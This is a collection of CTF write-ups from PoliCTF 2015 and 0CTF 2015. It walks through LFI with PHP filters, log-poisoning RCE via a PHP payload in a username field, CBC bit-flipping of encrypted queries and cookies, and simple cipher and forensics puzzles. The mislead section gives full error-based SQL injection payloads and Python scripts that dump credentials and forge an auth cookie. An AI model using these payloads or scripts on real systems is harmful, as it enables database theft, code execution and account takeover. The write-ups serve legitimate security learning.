PoliCTF 2015. Web350 - Magic Chall

We are presented with a web that allows us to register an account, then log in and be surprised with random disturbing videos xDDD. The web uses a page parameter to reference and include other pages and its vulnerable to LFI. For example, instead of going to http://magic.polictf.it/magic_things.php we can include it in index.php with http://magic.polictf.it/index.php?page=magic_things. So it seems that we can include any file ending in .php since we cannot seem to discard the extension using a null byte.
First thing to try in a php application are the php filters. So we can try to read the source code by using the base64 filter:
http://magic.polictf.it/index.php?page=php://filter/convert.base64-encode/resource=index and voila, the site returns us a base64 version of index.php source code: From here we procedeed to collect and read all source code and include files. Interesting things:

1 - Running any method on a Magic instance will print the flag:

2 - Log files are written to $_SERVER["DOCUMENT_ROOT"]."log/" . $host . "_" . $user->getSurname() so we can control the extension by setting our Surename to foo.php. Also controlling the user Name, we can inject any arbitrary strings in the log. This smells like remote code execution.

Now, all we need to do is to register a user with Name: <?php (new Magic())->test();?> and surename: foo.php and then visit the log and read the flag:

PoliCTF 2015. Web150 - John The Referee

We are presented with an online shop to buy Referee t-shirts:

They have ids from 1-8 and then 10 (skipping 9).

There is also a search form that seems to escape some characters:

The search submission is somehow weird. Our search is submitted to server that returns a hash that we submit back to get the actual results. So either way the hash is an encrypted version of our search query that is decrypted and executed in the server or its a hash that represents the query and its mapped to our query in the server sesssion. Since there are no session cookies, it seems the former. So the process is the following, we submit our search query, it goes to the server where it gets escaped and encrypted. We get the encrypted value that we submit again for the server to decrypt and run the query. Since the query was escaped before encryption, there is no reason to not trust the decrypted query, right? someone said integrity? Ok, so all we have to do is submit our SQLi payload and replace the single quote with any arbitrary character. Then bit flip that character and send to server and see if any flipped queries result in a valid query with a single quote:

Now we can take the encrypted query and replay it bitflipping the first character (a) until it or the next one (eg: cbc) becomes a single quote. We get the flag:

PoliCTF 2015. Web100 - John The Traveller

Holidays are here! But John still hasn't decided where to spend them and time is running out: flights are overbooked and prices are rising every second. Fortunately, John just discovered a website where he can book last second flight to all the European capitals; however, there's no time to waste, so he just grabs his suitcase and thanks to his new smartphone he looks the city of his choice up while rushing to the airport. There he goes! Flight is booked so... hauskaa lomaa! We are presented with a web that allows us to search for European capitals. It does seem injectable and theres nothing weird. The website returns a random number of flights with their costs in EURs and nothing else.

After losing a lot of time with this one, we re-read the challange description once again and wondered about hauskaa lomaa. It turns out it means Happy vacations in Finish. So we checked flights to Helsinki and finally something out of the ordinary: the price was in px (pixels?) and there where always 6 results:

After having a look at the source code we realize that it contains a responsive UI and that the result table contains special classes:

After loading the page on a device emulator with any of those widths, we get a QR:

Flag is: flag{run_to_the_hills_run_for_your_life}

PoliCTF 2015. Crypto100 - And the prophet said

We are given a text that looks like base64, so we decode it and find a gzip file that contains a text file with 296 phrases from the bible. These phrases are repited so we assigned a random character to each line and got something like:

abccde fagh iajccbklb gh mbno bjho ghkpf gfq gpr fnogkl fd sngfb j cdkl rbhhjlb hd hfjfghfgih sgcc abct odu sgfa fab cbffbn vnbwubkigbhx yuf gpr kdf nbjcco lddz jf fajfx d0 fajfph bkdulae jajae gpr gk cdmb sgfa hgrtcb cdsbnijhb vcjlh sgfaduf htjibh jkz hfnjklb horydchx vcjl1cyafyllumvhokfyywsyd2  

Using a substitution decipher and a little bit of manual correction we get:

hello, this challenge is very easy isn't it? i'm trying to write a long message so statistics will help you with the letter frequencies. but i'm not really good at that. ok that's enough, ahah, i'm in love with simple lowercase flags without spaces and strange symbols. flag{lbhtbgguvfsyntbbqwbo}  

So flag is:

flag{lbhtbgguvfsyntbbqwbo}  

Which turns out to be anot valid flag. But the challange description said we need an extra step here, so we try to decode it using decoders such as ROT13 and voila:

flag{yougotthisflagoodjob}  

PoliCTF 2015. Forensics100 - John In The Middle

We are given a pcap with the traffic generated to an old version of http://polictf.it. We can use NetworkMiner or similar tools to extract all files and compare them with the originals. logo.png differs from original and using StegoSolve we can find the secret flag:

0CTF 2015 - mislead (web 300)

We are welcomed with a login page where we can register a new account and log in with it.
After logging to the application we received a:

Hello pwntester. Try to login as 0ops!  

The first thing I looked for was for SQL injection in the register and login forms. The register one turned to be injectable and we can use Duplicate entry technique to dump the DB:

Get the DB:

username=pwner10&password='),(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) );#&submit=Submit  

Output:

SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'mislead1' for key 'group_key'<br>maybe another username?  

Get the tables:

username=pwner10&password='),(select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)  
 );#&submit=Submit

Output:

SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'users~1' for key 'group_key'<br>maybe another username?  

Get the columns:

username=pwner10&password='),(select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)  );#&submit=Submit  

Output:

SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'id~1' for key 'group_key'<br>maybe another username?

SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'username~1' for key 'group_key'<br>maybe another username?

SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'password~1' for key 'group_key'<br>maybe another username?  

Get the first user:

 username=pwner10&password='),(select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x7e,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)   );#&submit=Submit

Output:

SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '0ops~13096de41fe9a97b700d4d9e21665484~1' for key 'group_key'<br>maybe another username?  

YAY! We have the MD5 for 0ops's password, we crack it, log in as 0ops and get our flag, easy, isnt it? Well, nope. MD5 is not in any hash DB, so we are back where we started.

One thing stands out when looking at the request:

GET /mislead/index.php HTTP/1.1  
Host: 202.112.26.101  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,es-ES;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: auth=YWVkMTM0MjNjYWZkY2IyMDgxODExNDcwM2E1ODY2NWZhYTAzMzY3ZjQ1ZjFjMjQxNmQxNjRjNGM1ZGM0ZDEwZA%3D%3D  
Referer: http://202.112.26.101/mislead/login.php  
Connection: keep-alive  

Its a php application but its not using PHPSESSIONs but a custom Authinstead. This cookie is encoded in base64 and then encoded in hexadecimal. But there is no useful info for us. We can assume that the cookie keeps the application state including the user associated to the session.

At this point, we decide to flip bits in the cookie to see if some changes/break and at some byte(14), the logging message changes and our names is modified. Cool! So we can try to bit-flip the cookie and get the username to be 0ops. For that, the easiest way is to register a name very similar (just one letter off) and bit-flip that byte until we get the right name.

All the usernames I tried were already picked so I started to think that someone register all those users once they got the flag (sign that we are in the right direction). I used the useless SQLi to pwn the pwners:

import requests  
url = 'http://202.112.26.101//mislead/register.php'  
for i in xrange(4000):  
    data = {
        'username': 'pwntester',
        'password': "'),(select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x7e,password) as char),0x7e)) from users limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a));#" % i,
        'submit': 'Submit',
    }
    res = requests.post(url, data=data)
    if "ops~" in res.text:
        print res.text

We get:

~/CTFs/tasks/0CTF2k15/mislead> python pwn.py
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '0ops~13096de41fe9a97b700d4d9e21665484~1' for key 'group_key'<br>maybe another username?  
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry ' 0ops~698d51a19d8a121ce581499d7b701668~1' for key 'group_key'<br>maybe another username?  
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'Oops~c8837b23ff8aaa8a2dde915473ce0991~1' for key 'group_key'<br>maybe another username?  

Ok, I will use Oops (Capital O) if md5 is easy to crack which it is 123321

Now, log with this user and get the cookie:

YWVkMTM0MjNjYWZkY2IyMDgxODExNDcwM2E1ODY2NWZhYTAzMzY3ZjQ1ZjFjMjQxNmQxNjRjNGM1ZGM0ZDEwZA==  

Using the following script, we can get the flag:

import requests  
from base64 import b64decode, b64encode  
from hexdump import hexdump  
import sys  
import string

url = 'http://202.112.26.101//mislead/index.php'  
OopsCookie = 'YWVkMTM0MjNjYWZkY2IyMDgxODExNDcwM2E1ODY2NWZhYTAzMzY3ZjQ1ZjFjMjQxNmQxNjRjNGM1ZGM0ZDEwZA=='  
binCookie = b64decode(OopsCookie).decode("hex")  
bytelength = len(binCookie)

def is_printable(s):  
    for ch in s:
        if not ch in string.printable:
            return False
    return True

def flip_byte(msg, pos, byte=0x10):  
    msg = msg[:pos] + chr(ord(msg[pos]) ^ byte) + msg[pos+1:]
    return msg

for i in xrange(bytelength):  
    res = requests.get(url, cookies={'auth': b64encode(flip_byte(binCookie, i).encode("hex"))})
    print i, res.text
    if "Hello" in res.text and "Oops" not in res.text:
        for c in xrange(256):
            res = requests.get(url, cookies={'auth': b64encode(flip_byte(binCookie, i, c).encode("hex"))})
            if is_printable(res.text):
                print i, c, res.text

Output is:

14 112 Hello ?ops. Try to login as 0ops!  
14 113 Hello >ops. Try to login as 0ops!  
14 114 Hello =ops. Try to login as 0ops!  
14 115 Hello <ops. Try to login as 0ops!  
14 116 Hello ;ops. Try to login as 0ops!  
14 117 Hello :ops. Try to login as 0ops!  
14 118 Hello 9ops. Try to login as 0ops!  
14 119 Hello 8ops. Try to login as 0ops!  
14 120 Hello 7ops. Try to login as 0ops!  
14 121 Hello 6ops. Try to login as 0ops!  
14 122 Hello 5ops. Try to login as 0ops!  
14 123 Hello 4ops. Try to login as 0ops!  
14 124 Hello 3ops. Try to login as 0ops!  
14 125 Hello 2ops. Try to login as 0ops!  
14 126 Hello 1ops. Try to login as 0ops!  
14 127 Welcome to the 0ops secret place!<br>Just get your flag here :)<br>0ctf{w3_musT_kn0w_S0Me_crYpt0gr4phY}  

FLAG is: 0ctf{w3_musT_kn0w_S0Me_crYpt0gr4phY}